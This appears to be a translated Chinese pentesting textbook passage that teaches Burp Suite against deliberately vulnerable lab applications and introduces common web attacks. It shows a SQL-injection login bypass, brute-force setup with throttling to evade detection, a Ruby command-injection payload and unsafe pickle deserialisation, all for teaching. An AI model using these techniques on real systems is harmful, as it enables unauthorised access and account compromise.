java -jar [filename]
命令启动 Burp Suite 专业版。在第一次启动期间,它将要求您提供许可密钥并继续激活许可。
如果您想配置分配给 Burp Suite 的内存量,可以使用-Xmx
命令开关,例如java -jar -Xmx2048m [filename]
。
设置 OWASP BWA
BWA 项目创建了一个包含已知漏洞的多个应用程序的虚拟机。该项目是为那些有兴趣学习以下内容的人创建的:
-
Web 应用程序的安全
-
各种手动测试技术
-
各种自动化测试技术
-
如何使用工具进行源代码分析
-
了解 Web 攻击的影响
-
如何测试 Web 应用程序防火墙和类似工具
OWASP BWA 项目的直接链接是www.owasp.org/index.php/OWASP_Juice_Shop_Project
。
下载 BWA 虚拟机后,您需要使用诸如 7-Zip 之类的程序对其进行提取。下图中显示的 BWA 文件是虚拟机文件,可以导入到 VMware Workstation 或 VirtualBox 中:
图 2:提取的 BWA 文件
将文件导入 VMware Workstation 非常简单。您只需要打开或导入.vmx
文件。对于 VirtualBox,我们需要执行一些额外的步骤:
-
打开 VirtualBox 并创建一个新的虚拟机。为虚拟机定义一个名称,然后选择 Linux Ubuntu(32 位)作为操作系统类型。
-
继续使用向导,但当涉及硬盘组件时,选择使用现有的虚拟硬盘文件,而不是创建新的硬盘。在这里,您将选择 BWA 虚拟硬盘(
OWASP Broken Web Apps-cl1.vmdk
),如下面的屏幕截图所示:
图 3:导入 BWA 虚拟硬盘
-
单击“创建”以创建虚拟机。您可以根据需要调整处理能力和内存,但默认设置应该足够。
-
确保您为这台虚拟机使用主机模式或网络地址转换(NAT)网络配置。不要直接将其暴露在公共互联网上,因为这台虚拟机是有意设计成易受攻击的。
-
虚拟机启动后,它将提供可用于访问它的 IP 地址,如下截图所示:
图 4:BWA 虚拟机信息
一旦您启动了 BWA,您会注意到它会提供有关如何通过 Web 浏览器和 SSH 访问它的信息。
配置您的浏览器
由于 Burp Suite 依赖于代理工具来执行其所有功能,因此您需要配置浏览器以使用代理。在 Kali Linux 2019.1 中,默认包含 Firefox ESR(Extended Support Release)。配置浏览器的代理设置很简单,但每次都必须手动更改代理设置可能会令人沮丧。
Firefox ESR 有一些代理管理插件。我个人喜欢使用 FoxyProxy(addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
),因为它提供了定义多个代理并通过 Firefox 的插件按钮进行切换的功能:
图 5:FoxyProxy 配置了多个代理
添加新代理就像点击“选项”并添加新代理一样简单。在下一节中,我们将介绍如何添加代理。
探索和配置 Burp Suite 组件
Burp Suite 拥有各种工具,可帮助渗透测试人员在整个 Web 应用程序测试过程中使用。这些工具使渗透测试人员能够映射环境,进行漏洞扫描并利用漏洞。
Burp Suite 有一个简单的图形界面,包含两行标签和各种面板(图 6)。第一行标签(1)是当前安装的工具。第二行标签是主要工具的子组件(2),在该子组件中,有各种面板(3):
图 6:Burp Suite 的界面
图 6中的示例显示了“目标”主工具被选中,并且“站点地图”子组件被选中。在该子组件中,有多个面板,如“内容”和“问题”。
Burp Suite 工具
现在让我们使用 Burp Suite 中的各种工具,并在攻击之前的部署的 OWASP BWA 项目中使用它们。
当您启动 Burp Suite Professional 时,在磁盘上创建一个新项目(图 7),这样您就可以随时查看结果。您可以使用 Burp Suite 默认的配置文件:
图 7:Burp Suite 的新项目
现在我们已经启动了我们的项目,我们可以深入了解工具并学习如何使用它们。
代理
这是 Burp Suite 的核心,允许您创建一个拦截代理,可在您的浏览器和目标 Web 应用程序之间进行操作。您可以使用此工具拦截、检查和修改所有请求和响应。
要配置代理选项,您需要访问代理工具并选择“选项”选项卡,如下截图所示:
图 8:代理工具中的代理监听器选项
代理监听器
部分是您定义代理详细信息的地方。默认配置对我们将执行的活动足够。值得启用的另一个配置项位于代理选项的响应修改部分。此设置标题为取消隐藏的表单字段
,如下截图所示:
图 9:启用取消隐藏的表单字段
隐藏的 HTML 表单是通过客户端进行表面不变的数据传输的常见机制。如果标记为隐藏,则该字段不会显示在屏幕上。但是,字段的名称和值存储在表单中,并在用户提交表单时返回给应用程序。Burp 代理可用于拦截提交表单的应用程序并更改值。
在 Firefox ESR 中配置如下:
- 打开 Firefox ESR 并导航到首选项:
图 10:导航到 Firefox 首选项
更快的导航到首选项的方法是在 Firefox ESR 中导航到about:preferences
URL。
-
一旦您进入首选项,搜索
代理
并单击设置
按钮。 -
一旦进入代理设置,您可以根据以下截图定义 Burp Suite 代理:
图 11:在 Firefox ESR 中定义 Burp Suite 代理
在上一节中,我们提到这种方法有时会变得令人沮丧,因为有时您需要在不使用 Burp Suite 代理的情况下浏览。
要在 FoxyProxy 等附加组件中配置 Burp Suite 代理,我们只需定义代理设置(图 12),保存配置后,您将能够在代理设置之间切换:
图 12:将 Burp Suite 代理添加到 FoxyProxy
现在我们已经设置和配置了代理,让我们继续下一个工具,我们将在其中定义目标并执行诸如绘制站点地图等活动。
因为 Burp Suite 中的代理作为拦截代理工作,所以当您浏览 URL 时,必须转发请求。如果不转发请求,URL 将无法在浏览器中加载。
目标
该工具提供有关目标应用程序的内容和工作流程的详细信息。它协助您引导测试过程。在此工具中,可以手动绘制目标站点(或使用集成的爬虫),并在绘制应用程序后修改范围。
我们将把目标定义为 BWA 虚拟机的主 IP 地址。例如,根据上一节的截图,我的 BWA 虚拟机的 IP 地址为192.168.34.152
。
可以使用以下步骤定义目标:
-
单击
目标
工具,然后选择`范围**。** -
在
目标范围
部分下单击添加
,并输入 BWA 虚拟机的 IP 地址。 -
Burp Suite 将提示您注销范围外的项目。在这种情况下,我们不想记录它们,因此选择
是
,以便 Burp Suite 不会将范围外的项目发送到其他工具:
图 13:在 Burp Suite 中定义目标
- 一旦您将目标范围定义为 BWA 虚拟机 IP 地址,打开 Firefox 并导航到 BWA 虚拟机的 URL,例如
http://192.168.34.152
。您会注意到,在代理
工具中不转发请求(图 14)的情况下,网页将无法加载:
图 14:使用代理工具转发请求
- 一旦您转发了请求,BWA 主页将加载。在目标工具下的站点地图(图 15)中,您现在将拥有目标 Web 应用程序的完整站点地图:
图 15:基于定义的目标填充的站点地图
左侧树视图中包含内容的分层表示,URL 被分成域、目录、文件和参数化请求。要查看更多细节,您可以展开有趣的分支。如果您选择了树的一个或多个部分,右侧视图中子分支中的所有项目将显示相关的详细信息。右侧视图包含从树视图中选择的分支的内容的详细信息以及分支中识别的任何问题。
扫描器
这个工具在 Burp Suite 的专业版中可用。它提供了高级的 Web 漏洞扫描功能,具有自动爬行功能来发现内容。
利用扫描功能就像右键单击要扫描的分支,然后选择主动或被动扫描功能一样简单,如图 16所示:
图 16:启动扫描功能
有两种类型的扫描可以执行,主动和被动。以下详细介绍了两者之间的区别:
-
被动扫描:这种类型的扫描只是分析和检测现有请求和响应内容中的漏洞。使用这种扫描,您将能够限制对 Web 应用程序的噪音量。这种类型的扫描能够检测许多漏洞,因为许多漏洞可以使用被动技术来检测。
-
主动扫描:这种类型的扫描提交了许多定制的请求,并分析结果以寻找漏洞。主动扫描可以识别更广泛的漏洞,对于进行全面的应用程序测试是必不可少的。请记住,这种扫描将导致向应用程序发送更多的噪音。
以下图片显示了扫描器检测到的问题的输出:
图 17:主动扫描检测到的问题
打开问题会提供有关问题的更多信息,包括受影响的主机、路径、严重程度和信心水平,如图 18所示:
图 18:问题详情
扫描的每个结果都包含详细的建议,通常包括与特定漏洞相关的定制信息和适当的修复说明。每个结果还将包括报告问题的完整请求和响应,其中相关部分将被突出显示。这些请求可以像往常一样传输到其他 Burp 工具,以检查问题或进行进一步测试。
Repeater
这用于手动操作和重新发出 HTTP 请求。一旦发送这些手动请求,您就能够分析响应。您可以从 Burp Suite 的任何位置向 Repeater 发送请求。
让我们使用 Repeater 进行登录操作:
-
关闭 Burp Suite 代理 Firefox ESR,导航到 BWA 主页,然后单击 OWASP Mutillidae II。
-
在左侧导航中,选择 OWASP 2007 | OWASP 2007 A6 – 不当的错误处理 | 登录(图 19)。这将带您到登录页面:
图 19:OWASP A6 – 不当的错误处理
- 启用 Burp Suite 代理拦截。一旦启用,尝试使用任意随机凭据登录。在 Burp Suite 的代理工具中,您将看到登录请求被拦截。右键单击请求,然后选择“发送到 Repeater”。在我的示例中,您将看到我使用了一个随机的
username
为testing
和一个password
为test-user
,如图 20*所示:
图 20:Burp Suite 代理工具拦截的登录请求
- 点击Repeater工具,在左侧,您将看到拦截的登录请求。点击 Go 并观察结果。注意,Loggin-In-User 字段为空,如下图所示。如果单击 Render 选项卡,您将看到没有用户已登录。这告诉我们,我们使用的随机
username
不存在:
图 21:使用 Repeater 重放 HTTP 请求
从这里开始,我们可以修改初始请求中的任何参数。您可以尝试各种username
和password
并观察结果。为了演示目的,我们将使用常见的 SQL 注入技术(SQL 注入将在第八章中更详细地介绍,攻击 Web 应用程序)。
- 在
username=
字段中,删除最初使用的随机用户名,并输入' or 1=1 --
SQL 注入命令。点击 Go 并观察输出(图 22)。注意Set-Cookie
参数现在设置为username=admin
,Logged-In-User 设置为admin
。这告诉我们,通过使用' or 1=1 --
作为用户名和任何密码,我们能够执行 SQL 注入攻击并以管理员身份登录:
图 22:使用 Repeater 执行 SQL 注入攻击查询
如果您使用 Render 选项卡,您将看到已登录的用户是admin
。
Repeater 在操纵请求和测试 Web 应用程序如何处理各种请求方面提供了很多功能。
入侵者
这允许对 Web 应用程序进行强大的自定义攻击自动化。它使您能够配置各种 payload、payload 选项和攻击选项。
让我们使用 Intruder 来查找 Multillidae 中的隐藏网页:
- 导航到 BWA 主页应用程序,选择 OWAP Multillidae II。确保 Burp Proxy 设置为拦截模式。点击页面顶部的 Login/Register 链接。找到拦截的请求,右键单击它,然后选择 Send to Intruder,如图 23所示:
图 23:将拦截的请求发送到 Intruder
- 点击 Intruder 选项卡。Intruder 会自动标记 payload 位置。在我们的情况下,我们对
POST
消息感兴趣。点击 Clear§,这将清除所有自动放置的位置。双击login.php
上的POST
请求,然后点击Add§,如图 24*所示。我们将使用 Sniper 攻击类型:
图 24:定义 payload 位置
Sniper 攻击类型允许您指定一个 payload 与您选择的每个输入字段一起尝试。如果您想要用可能的选项列表对单个输入字段进行暴力破解,那么它确实很有用。
Battering ram 攻击尝试同时跨所有选择的输入字段使用一个 wordlist。当您认为凭据可能具有相同的用户名和密码时,这非常有用。
Pitchfork攻击使用额外的 wordlist。这将使其使用一个 wordlist 用于用户名,第二个 wordlist 用于密码。Pitchfork 将用户名 wordlist 的第一个单词与密码 wordlist 的第一个单词进行匹配,因此它不提供广泛的覆盖范围。
Cluster bomb 攻击是最全面的攻击,也是最耗时的。此攻击尝试使用用户名 wordlist 的每个组合与密码 wordlist 的每个组合。
- 点击 Payloads,Payload 类型我们将使用的是 Simple list。在 Payload Options 中,我们将定义一些众所周知的隐藏页面,如
admin.php
,secret.php
,_admin.php
和_private.php
。一旦 payload 选项被定义(图 25),攻击可以使用 Start attack 按钮开始:
图 25:定义 payload 选项
攻击开始后,将出现一个新窗口,显示如图 26所示的结果:
图 26:入侵者攻击结果
从结果中,我们可以得出所有结果返回了相同的状态代码。这些都是可访问的,我们可以通过查看“响应”选项卡和“渲染”选项来确认这一点。
入侵者可以使用定义的单词或单词列表来暴力破解登录过程。执行简单的集群炸弹攻击可以按以下步骤完成:
- 使用随机的“用户名”和“密码”登录 Multillidae。当请求被拦截时,将其发送给入侵者,如图 27所示:
图 27:将登录请求发送给入侵者
- 在入侵者工具中,将攻击类型定义为集群炸弹,并将有效载荷位置定义为您使用的“用户名”和“密码”。在以下示例中,我使用了“测试”作为“用户名”和
test
作为“密码”,如图 28所示:
图 28:在集群炸弹攻击中定义有效载荷位置。
-
单击“有效载荷”选项卡,并使用简单列表为每个有效载荷集定义“用户名”和“密码”。
-
单击“有效载荷选项”选项卡,并注意请求引擎下的选项。在这里,您可以控制攻击,例如调整重试之间的暂停和节流。这使您能够将暴力破解尝试与正常流量混合在一起,最终避免提高过多无效登录尝试的风险。审核设置后,切换回“有效载荷”选项卡并开始攻击。
-
攻击完成后,您将看到有效凭据返回了 HTTP 302 请求。我们可以通过“渲染”选项卡确认这一点,其中显示了
admin
登录用户,如下图所示:
图 29:使用入侵者找到的有效凭据
入侵者具有丰富的功能,可用于您的渗透测试。
顺序器
这使得可以分析目标应用程序重要数据项的随机性质。这些项可以是会话令牌、密码重置令牌等。这种类型的数据是不可预测的,可以发现导致漏洞被发现的缺陷。
一种常见的攻击称为会话固定攻击。这是一种允许攻击者检索有效用户会话的攻击。攻击查看易受攻击的 Web 应用程序管理会话 ID 的方式的限制。Web 应用程序要么不分配新的会话 ID,要么会话 ID 的随机性较弱。这使得攻击者可以使用现有用户的会话 ID。
顺序器的工作方式是基于令牌是随机生成的假设。当顺序器执行测试时,将计算可能发生的某些特征的概率。定义了一个显著性水平,如果这些特征的概率低于此水平,则将标记这些令牌为非随机。
让我们使用默认安装在 Metasploitable 2 中的Damn Vulnerable Web Application(DVWA)进行测试:
- 确保您已将目标范围修改为 Metasploitable 2 虚拟机的 IP 地址。修改范围并将代理设置为拦截流量后,使用标准 HTTP 协议导航到虚拟机的 IP 地址。单击 DVWA 链接。注意您拦截到的两个请求。第一个是 HTTP GET 请求,如图 30所示:
图 30:DVWA GET 请求
第二个请求是设置唯一 Cookie 和Personal Home Page(PHP)会话 ID,如下所示:
图 31:DVWA 设置的 PHP 会话 ID 和 Cookie
- 我们将在我们系统上设置的 cookie 上使用 Sequencer 进行测试。右键单击第一个 GET 请求,并选择“发送到 Sequencer”选项。Sequencer 选项卡将亮起,您应该选择它。在响应中的令牌位置部分,选择 PHPSESSID=值,如下截图所示:
图 32:定义令牌位置
- 点击“开始实时捕获”按钮,让其运行几秒钟。一旦捕获到超过 200 个请求,您可以暂停或停止捕获,并选择“立即分析”。观察结果:
图 33:来自 Sequencer 的结果
在这个例子中,我们可以看到整体结果是优秀的。根据我们捕获的请求数量,Web 应用程序生成的会话令牌是强大的。
解码器
这可用于执行应用程序数据的各种类型的编码或解码。可以将数据的各个部分转换为代码,例如 Base64、十六进制和二进制。
使用解码器非常简单。您可以将文本编码或解码为各种输出。例如,在图 34中,一个简单的明文字符串可以编码为 Base64。
图 34:使用解码器将明文编码为 Base64
在渗透测试中,您可能会发现 Web 应用程序披露了可以解码为可读文本的信息。或者,您可能需要利用一个需要编码为 HTML 或 URL 并将该代码转发回 Web 应用程序以获取响应的漏洞。
比较器
当您需要查看两个数据项之间的视觉差异时,这非常方便;例如,当您查看有效和无效用户凭据之间的响应或检查会话令牌是否是随机的时。
当我们使用 Sequencer 工具时,我们讨论了会话固定攻击。让我们使用比较器工具在 Mutillidae 上执行测试,看看能发现什么。在这里,我们将不使用Sequencer工具,因为我们将执行一个简单的测试:
-
确保您已将目标定义为 OWASP BWA 虚拟机,并将代理设置为拦截。配置目标后,使用 HTTP 协议导航到 BWA 应用程序的主页。
-
选择 Mutillidae II 链接,并转发拦截的请求。接下来,点击“登录/注册”链接,并确保请求已转发。然后,使用
admin
的username
和admin
的password
登录。登录后,转到代理工具的HTTP 历史选项卡。找到两个请求,即 GET 和 POST 请求。 -
选择在我们点击“登录/注册”链接时捕获的 GET 请求。右键单击该请求,并选择“发送到比较器”,如下截图所示:
图 35:将相关请求发送到比较器
-
重复步骤 3以进行 POST 请求,显示成功登录。
-
点击“比较器”选项卡,并确保您选择要比较的两个不同请求,如图 36所示:
图 36:选择要比较的请求
- 点击“单词”按钮,并观察结果,如下图所示:
图 37:比较请求的结果
注意到 PHPSESSID 对于两个请求是相同的。这意味着 Web 应用程序不生成唯一的会话 ID,因为对于经过身份验证和未经身份验证的请求,ID 是相同的。因此,Web 应用程序容易受到会话固定攻击的影响。
扩展器
在这里,您可以通过使用 BApp Store 的扩展或使用第三方代码来扩展 Burp Suite 的功能。这些扩展使您能够自定义程序的功能,例如用户界面(UI)更改和添加自定义扫描检查。
使用 Extender 工具,我们可以使用 BApp Store 添加额外的扩展。例如,添加软件漏洞扫描器,如下图所示,扩展了内置漏洞扫描器的功能:
图 38:使用 BApp Store 添加扩展
一些扩展被详细说明为专业扩展,这意味着它们只能与 Burp Suite 专业版一起使用。在扩展选项卡下,您可以加载未在商店中列出的扩展。
摘要
在本章中,您已经了解了 Burp Suite 及其各种版本。您已经通过设置环境并学习如何通过利用互联网上免费提供的易受攻击的 Web 应用程序来准备您的实验室。您已经对 Burp Suite 中存在的各种工具有了很好的了解,并学会了如何通过在自己的实验室环境中使用实际示例来使用它们。
在下一章,第八章,攻击 Web 应用程序,我们将研究 Web 应用程序中存在的各种漏洞,并了解它们存在的原因和方式。我们将使用包括 Burp Suite 在内的各种工具对易受攻击的 Web 应用程序进行各种攻击。
问题
-
Burp Suite 的中心是什么?
-
何时适合使用被动扫描?
-
Repeater 用于什么?
-
Intruder 工具中最全面的攻击方法是什么?
-
如何扩展 Burp Suite 的功能?
第八章:攻击 Web 应用程序
Web 应用程序是最受攻击的妥协方法。今天,我们有提供电子商务服务的 Web 应用程序,这是攻击者的目标,因为他们可以获取信用卡和个人可识别信息等详细信息。拥有互联网存在的企业必定拥有一个可以被公众访问的 Web 应用程序。Web 渗透测试需要技能和时间,了解 Web 应用程序的组件、攻击类型和可以使用的工具将帮助您在短时间内专注于可利用的漏洞。
在本章中,您将学习有关 Web 应用程序及其组件的知识。您将了解不同类型的 Web 应用程序安全测试以及渗透测试的相关知识。您还将了解 HTTP 协议的基础知识,以及在渗透测试过程中各个方面的相关内容。最后,您将学习一些常见的 Web 应用程序攻击以及如何利用 Kali Linux 中的一些工具通过直觉执行各种攻击。
随着本章的进行,您将学习以下主题:
-
准备您的环境
-
Web 应用程序安全测试的类型
-
Web 应用程序的组件
-
了解 HTTP 协议
-
常见的 Web 应用程序攻击
-
攻击 Web 应用程序
技术要求
为了跟随本章中的示例和说明,请确保您具备以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 2
准备您的环境
在本章中,我们将使用各种 Web 应用程序和工具。
在上一章中,您学习了如何使用 Burp Suite;在本章中,我们也将利用 Burp Suite 的一些部分。
请注意您的 Metasploitable 2 虚拟机的 IP 地址。在本章的各个部分,我们将积极使用这个 IP 地址。回顾一下,可以通过登录虚拟机(默认用户名和密码为msfadmin
)并输入ifconfig
命令来获取 IP 地址。
Web 应用程序安全测试的类型
有三种类型的 Web 应用程序测试,定义如下:
-
动态测试:这种测试不需要 Web 应用程序的源代码。其目的是查找可能被攻击者从不受信任的位置(如互联网)利用的漏洞。
-
静态测试:这种测试使用 Web 应用程序的源代码。它通过从 Web 应用程序内部寻找漏洞来工作,而不是试图从不受信任的位置攻击 Web 应用程序。
-
渗透测试:这是本章将重点关注的测试类型。它涉及使用人为因素来模拟攻击者可能如何利用 Web 应用程序。它利用技能、直觉和各种工具。
Web 应用程序的组件
Web 应用程序已经从静态网页发展为提供多种功能的复杂应用程序。您可以将 Web 应用程序视为一个简单地在互联网上运行的普通计算机应用程序。
在本节中,我们将讨论 Web 应用程序的各个组件。
Web 应用程序架构
Web 应用程序架构是各种组件之间的交互。Web 应用程序架构的三种主要类型如下:
-
单页应用程序(SPA):这些现在很常见,极简主义是 Web 应用程序的潮流。它们通过动态更新内容到当前页面来工作。异步 JavaScript 和 XML(AJAX)用于提供动态内容。这些类型的应用程序仍然容易受到攻击。
-
微服务:这些是轻量级的,专注于单一功能。微服务利用各种编程语言,因此在这种架构中存在漏洞。
-
无服务器:这利用处理服务器和基础架构管理的云提供商。这使应用程序可以在不必担心基础架构的情况下工作。这里存在诸如破损的身份验证、不充分的日志记录、不安全的应用程序存储等漏洞。
在这三种模型中,存在安全风险。因此,无论使用哪种模型,都需要进行渗透测试。
Web 应用程序语言
由于 Web 应用程序如此多样和动态,有几种语言用于编写 Web 应用程序。这些语言有时会以可能严重影响整个 Web 应用程序安全性的方式进行交互。
这些常用的语言是 Python、Ruby 和 Java。让我们看看这些语言的一些注意事项。
Python
Python 是一种经常使用的语言,因为它简单而强大。它创建了一个生态系统,可以在许多不仅与 Web 应用程序相关的不同应用程序中运行。
Python 使用一种称为pickles的序列化机制。序列化是创建可以存储并稍后恢复到其原始形式的数据的过程。使用pickles允许将对象转换为字节流,然后再转换回来。使用 pickles 可以用于各种事情,如 cookie 值和auth
令牌。
示例 pickle 如下所示:
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
此函数正在接受一个 base64 编码的AuthToken
,对其进行解码并检查其值。当然,如果被攻击者拦截,AuthToken
可以被解码。或者,攻击者可以编写一个利用程序来创建修改后的AuthToken
。
这只是 Web 应用程序开发人员可能忽视的安全漏洞的一个方面。
Ruby
Ruby 是一种流行的语言,用于 Web 应用程序,因为 Ruby on Rails。 Ruby on Rails 是一个框架,包括开发人员创建利用数据库的 Web 应用程序所需的一切。该框架可免费使用,社区积极为其做出贡献,这使其成为一种受欢迎的选择。
Ruby 也容易受到攻击,例如使用字符串插值
的漏洞。字符串插值允许您替换 Ruby 代码的结果。
例如,以下代码将输出Hello User!
,因为#{}
中定义的任何内容都将被评估:
name = "User"
puts "Hello, #{name}!"
修改字段为#{%x['ls']}
将欺骗服务器列出其目录结构。
由于 Ruby 用于快速部署 Web 应用程序,可能会出现我们刚讨论过的漏洞。在 Ruby 中存在许多其他可以利用的漏洞,这些漏洞是由于 Ruby 内部的糟糕编码而产生的。
Java
Java 是一种存在已久的编程语言。它被广泛使用,不仅用于 Web 应用程序。也就是说,它以存在安全漏洞而闻名。这些漏洞影响编程语言的各个方面,以及利用它的应用程序。要了解 Java 中存在的漏洞数量以及它如何跨多个应用程序或操作系统,只需在 Rapid 7 的漏洞和利用数据库中搜索Java。如下截图所示,结果令人震惊:
图 1:存在的 Java 漏洞列表
您可以通过访问www.rapid7.com/db/?q=Java&type=nexpose
来获取最新的搜索结果。
今天存在许多其他 Web 应用程序语言,没有一种是没有漏洞的。在进行渗透测试时,识别基础编程语言将帮助您专注于可能存在的漏洞。
理解 HTTP 协议
超文本传输协议(HTTP)是一种客户端-服务器协议。Web 浏览器被归类为客户端,它向服务器发出请求,服务器将对请求进行响应。默认情况下,HTTP 使用端口80
,但如果需要,可以配置此端口。
HTTP 是无状态的,这意味着服务器不会存储与向其发出请求的各个用户相关的任何信息。例如,您可以向 Web 应用程序发送多个请求,它们将被单独处理。HTTP 也是明文协议,因此通过 HTTP 发送的任何敏感信息都可以使用诸如 Wireshark 之类的工具进行嗅探:
图 2: 通过 HTTP 传输的明文凭据
SSL 用于保护数据,使用的协议是超文本传输安全协议(HTTPS)。默认情况下,HTTPS 在端口443
上运行,如果需要,也可以重新配置。
让我们来看一些 HTTP 请求和响应。
HTTP 请求和响应
当客户端向服务器发送请求时,这称为 HTTP 请求。在此 HTTP 请求中,我们有标头和正文。标头包含请求、cookie 和编码信息等信息。正文包含将要交换的实际数据。
在以下屏幕截图中,我们有一个 HTTP 请求头的示例:
图 3: HTTP 请求头
第一行以GET
请求方法开始,然后是所请求的/download.html
资源,以及 HTTP 版本,即HTTP/1.1
。
在 HTTP 请求头中还可以找到一些其他请求方法。这些如下:
POST | 用于向服务器发送数据。 |
---|---|
DELETE | 用于删除文件。 |
PUT | 用于上传文件。 |
HEAD | 用于仅GET HTTP 标头。 |
此标头中有一些字段。让我们看看相关字段:
-
主机: Web 服务器可能托管多个站点。此字段用于定义我们要访问的主机。
-
用户代理: 此字段定义用于访问主机的客户端。
-
Cookie: 这是为了跟踪会话信息而交换的。
-
引用者: 此字段将显示您是否已从另一个 URL 重定向。攻击者将操纵引用字段以将用户重定向到恶意网站。可以使用 XSS 进行此操纵。
当服务器响应时,它将以 HTTP 响应方式响应,其结构与 HTTP 请求类似。在以下屏幕截图中,我们有一个 HTTP 响应的示例:
图 4: HTTP 响应示例
在第一行,我们有一个状态码为200
。可能出现的各种代码定义如下:
状态码 | 定义 | 示例 |
---|---|---|
1xx | 信息 | 100 : 服务器同意处理客户端请求 |
2xx | 成功 | 200 : 请求成功 |
3xx | 重定向 | 301 : 页面已移动 |
4xx | 客户端错误 | 403 : 禁止页面 |
5xx | 服务器错误 | 500 : 内部服务器错误 |
有关状态代码的完整列表,请访问以下网址:www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
。
在响应中,我们有一些有趣的字段:
-
服务器: 此字段定义 Web 服务器的服务器版本。立即,我们可以看到一些可以在渗透测试中使用的侦察信息。
-
Set-cookie: 在前面的屏幕截图中未设置此项。此字段将填充一个 cookie 值,服务器将使用该值来识别客户端。
常见的 Web 应用程序攻击
网络应用程序的攻击和向量正在迅速发展。随着使用互联网的人数增加,企业必须适应并利用复杂的网络应用程序为客户甚至员工提供服务。将这些应用程序放在互联网上显然会使它们面临风险。大多数企业都认真对待安全问题,并且通过使用各种软件开发生命周期,有一些真正安全的网络应用程序存在。
然而,随着安全措施变得更加严格,攻击也变得更加强大。除了攻击变得更加复杂之外,还存在人为错误的因素。只需要一小段编写不良的代码就可以利用网络应用程序。
在本节中,我们将考虑一些今天存在的常见网络应用程序攻击。
包含攻击(LFI/RFI)
文件包含漏洞存在于编写不良的网络应用程序中。这种类型的漏洞允许攻击者向服务器上的文件提交数据,甚至上传文件。
本地文件包含(LFI)漏洞涉及网络应用程序和底层操作系统上的本地文件。如果利用了这种漏洞,攻击者将能够读取和执行文件或代码。
远程文件包含(RFI)漏洞涉及执行远程到网络应用程序的代码。在这种攻击中,攻击者可以在远程位置的服务器上托管易受攻击的代码。然后攻击者可以利用网络应用程序访问远程服务器并执行代码。
跨站请求伪造(CSRF)
要理解 CSRF,让我们退一步来谈谈网络应用程序如何处理会话。在使用 HTTP 时,跟踪用户身份验证是通过 cookie 来完成的。Cookie 通常应该是安全的,具有强大的加密强度和熵,并且应该通过安全通道传输,如 HTTPS。
当浏览器提交该 cookie 到一个网站而不检查请求的来源时,这就留下了一个漏洞,CSRF 就利用了这个漏洞。CSRF 涉及攻击者使用恶意代码向目标网站发出请求,看起来好像是从原始发送者发出的。合法的 cookie 被使用,并且伪造的请求将被发送到目标网络应用程序。网络应用程序将找到并接受这个伪造的请求,因为它有一个有效的 cookie,并且请求中定义的操作将被处理。
为了使 CSRF 起作用,需要满足一些条件:
-
被攻击的网络应用程序不应该检查 HTTP 头中的引用者。
-
这允许网络应用程序接受来自外部页面的请求。
-
网络应用程序将接受来自 URL 或表单的数据修改。
-
攻击者必须能够确定网络应用程序所期望的所有输入值。例如,当重置密码时,网络应用程序会寻找密码和可能的密码确认的值。
-
被攻击的用户必须加载恶意页面。
CSRF 攻击的一个例子是一个恶意页面,其中包含多个图片。当无意中的用户被引导到这个页面时,图片会加载。一些图片可能是一个动作,导致浏览器向目标网络应用程序发出某些请求。
跨站脚本(XSS)
XSS 是在网络应用程序中发现的最常见的漏洞之一。这种类型的攻击已经在OWASP 十大漏洞列表上存在了一段时间。这种攻击利用注入技术,允许攻击者执行可以执行各种目的的脚本。浏览器会执行这个脚本,因为它认为这个脚本来自网络应用程序。
跨站脚本可以分为三种不同类型。这些类型定义如下:
-
持久型(类型 1):在这种 XSS 类型中,恶意输入被存储在目标服务器中。例如,它可以存储在其数据库、论坛和评论字段中。
-
反射型 XSS(类型 II):在这种 XSS 类型中,数据立即由 Web 应用程序返回。这可以通过错误消息、搜索查询或任何其他响应来实现。这里的主要点是数据是由请求返回的。
-
基于 DOM 的 XSS(类型 0):在这种 XSS 类型中,漏洞存在于客户端而不是服务器端。例如,服务器端的 HTML 页面不会改变,但在客户端,由于文档对象模型(DOM)环境的修改,页面会以不同的方式执行。
当攻击者利用 XSS 攻击时,可以访问诸如 cookies、会话密钥和其他敏感信息之类的组件。
SQL 注入(SQLi)
SQLi 攻击已经存在很长时间了,但它们在今天编写不良的 Web 应用程序中仍然有效。这种攻击适用于使用后端数据库的 Web 应用程序,如 Microsoft SQL 和 MySQL。
当这种攻击成功时,可以访问敏感信息。可以修改数据库中的数据(删除、更新和添加),并且可以绕过身份验证和授权控制。
有各种类型的 SQL 注入攻击。其中一些定义如下:
-
基于错误的攻击:这种攻击通过向数据库提供无效的命令来实现。这通常是通过需要输入的 Web 应用程序的部分完成的,例如用户输入。当输入这些无效的命令时,我们希望服务器会以包含详细信息的错误回复。例如,服务器可能会回复其操作系统、版本,甚至完整的查询结果。
-
基于联合的攻击:这种攻击利用
UNION
运算符来扩展查询的结果,最终允许攻击者运行多个语句。关键是结构必须与原始语句保持一致。 -
盲注入攻击:这种攻击之所以被称为盲,是因为没有显示错误消息。在这种攻击中,通过一系列的真假查询来查询数据库,以获取可用于攻击的信息。
了解这些攻击是有益的,因为它们将帮助您在渗透测试期间使用正确类型的攻击。我们将利用一个名为sqlmap
的工具,在本章后面执行一些 SQL 注入攻击。
命令执行
命令执行是一种攻击,通过这种攻击可以执行面向操作系统的命令,通过易受攻击的 Web 应用程序实现。这是由一个将不安全的用户输入传递给服务器的应用程序实现的。
命令执行攻击可能导致严重的妥协,这取决于您可以执行什么类型的系统命令以及 Web 应用程序的特权级别。
攻击 Web 应用程序
作为渗透测试人员,您不应该仅仅依赖于可以用于 Web 应用程序攻击的工具。对它们有很好的了解肯定会在您的渗透测试中有所帮助,因为您可能会时间紧迫。
在本节中,我们将讨论各种工具,并看看如何使用它们来对抗各种 Web 应用程序。
Nikto
Nikto 是默认包含在 Kali Linux 中的 Web 服务器扫描程序。它能够提取或识别以下信息:
-
服务器版本
-
潜在危险的程序或文件
-
服务器配置项
-
已安装的 Web 服务器
Nikto 的一些主要特点如下:
-
SSL 支持
-
HTTP 代理支持
-
使用输入文件扫描多个目标的能力
-
调整扫描引擎的能力
Nikto 并不是设计为隐秘的。在渗透测试中使用这个工具很可能会被 IPS/IDS 检测到。
使用 Sqlmap
